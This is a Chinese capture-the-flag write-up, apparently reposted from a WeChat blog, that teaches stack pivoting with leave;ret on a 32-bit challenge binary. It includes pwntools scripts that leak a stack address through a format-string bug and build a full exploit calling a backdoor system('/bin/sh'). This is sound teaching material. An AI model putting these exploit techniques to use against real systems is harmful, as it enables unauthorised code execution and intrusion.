web选手入门pwn(13) ——栈迁移

8.    pwn02

web选手入门pwn(13) ——栈迁移

存在后门函数和/bin/sh字符串,很明显的栈溢出漏洞。gdb调试的时候发现溢出字节数不够。0x1b4-0x198刚好0x1c,只能覆盖ret和ret后的一个地址,也就是8字节。

web选手入门pwn(13) ——栈迁移

因此这题为标准栈迁移的利用。在栈溢出中,为了完成这样的构造,需要溢出至少12个字节(32位)。

——低位——system()exit()/bin/sh0——高位——

但有些时候只有8个字节,这个时候就需要栈迁移。
栈迁移的关键在于利用leave;ret指令,这个指令非常常见,任何一个函数的结尾基本都可以找到它。那么leave是什么呢,leave=mov esp ebp;pop ebp。就是将ebp复制给esp,然后将栈顶的内容弹入ebp。栈顶的内容是什么呢?就是ebp内容。
其实就是ebp = ebp内容,esp = ebp(实际上因为过了一行汇编,所以是ebp+4)。
看gdb中正常的一次leave。
leave前

web选手入门pwn(13) ——栈迁移

leave后

web选手入门pwn(13) ——栈迁移

如何利用leave;ret完成栈迁移呢,很简单,就是在上面这次正常的leave;ret后再进行一次leave;ret,这个用栈溢出改写ret地址就能做到。除此之外,核心在于控制0xffffd1b8,大致过程如下。

EBP  0xffffd1a8 —▸ 0xffffd1b8 ◂— addrESP  0xffffd190#第一次leaveEBP  0xffffd1b8 ◂— addrESP  0xffffd1ac#第一次ret 也就是jmp  0x804855f 此时用溢出可控制到leave_ret_addrEBP  0xffffd1b8 ◂— addrESP  0xffffd1b0#第二次leaveEBP  system_stackESP  0xffffd1bc

可以发现,通过两次leave,ESP迁移到了0xffffd1b8+0x4附近。这样再ret的时候,就可以ret到本来是padding的地方。

那么0xffffd1b8具体是什么呢?可以用规律字符串确定。

from pwn import *
#p = process('./pwn02')p = gdb.debug('./pwn02','b *0x804851e n c')leave_ret_addr = 0x804853dpayload = "A"*4 + "B"*4 + "C"*4 + "D"*4 + "E"*4 + p32(leave_ret_addr) p.sendlineafter('input:',payload)p.interactive()

web选手入门pwn(13) ——栈迁移

也就是说,我们将EEEE改成栈上的地址,就可以完成栈迁移。不过栈地址是随机的呀,怎么办呢?
刚好这个题目存在第二个漏洞,格式化字符串。

web选手入门pwn(13) ——栈迁移

因此轻松捕获栈地址,顺便再跳到main上重新来一次。

from pwn import *
context(log_level='debug')
p = process('./pwn02')#p = gdb.debug('./pwn02','b *0x804851e n c')leave_ret_addr = 0x804853dmain_addr = 0x804853F
payload1 = "%p" + "A"*18 + p32(main_addr)
p.sendlineafter('input:',payload1)stack_addr_str = p.recvuntil('AAAA')[0:11]print(stack_addr_str)
p.interactive()

这个栈地址离EEEE有多远呢?其实就是AAAA到EEEE的距离,也就是16个字节。
那么替换掉EEEE,查看栈结构。

from pwn import *
context(log_level='debug')
#p = process('./pwn02')p = gdb.debug('./pwn02','b *0x804851e n c')leave_ret_addr = 0x804853dmain_addr = 0x804853F
payload1 = "%p" + "A"*18 + p32(main_addr)
p.sendlineafter('input:',payload1)stack_addr_str = p.recvuntil('AAAA')[0:11]print(stack_addr_str)stack_addr = int(stack_addr_str,16)
payload2 = "A"*4 + "B"*4 + "C"*4 + "D"*4 + p32(stack_addr-16) + p32(leave_ret_addr) p.sendlineafter('input:',payload2)p.interactive()

web选手入门pwn(13) ——栈迁移

非常完美,那么c一下看会ret到什么地方。

web选手入门pwn(13) ——栈迁移

那么加上后门函数和/bin/sh,完整exp就出来了。

from pwn import *
#context(log_level='debug')
p = process('./pwn02')#p = gdb.debug('./pwn02','b *0x804851e n c')leave_ret_addr = 0x804853dmain_addr = 0x804853Fbackdoor = 0x80484B6bin_sh_addr = 0x804A028
payload1 = "%p" + "A"*18 + p32(main_addr)
p.sendlineafter('input:',payload1)stack_addr_str = p.recvuntil('AAAA')[0:11]print(stack_addr_str)stack_addr = int(stack_addr_str,16)
payload2 = "A"*4 + p32(backdoor) + "C"*4 + p32(bin_sh_addr) + p32(stack_addr-16) + p32(leave_ret_addr) p.sendlineafter('input:',payload2)p.interactive()

web选手入门pwn(13) ——栈迁移


原文始发于微信公众号(珂技知识分享):web选手入门pwn(13) ——栈迁移

版权声明:admin 发表于 2024年5月31日 上午10:34。
转载请注明:web选手入门pwn(13) ——栈迁移 | CTF导航

相关文章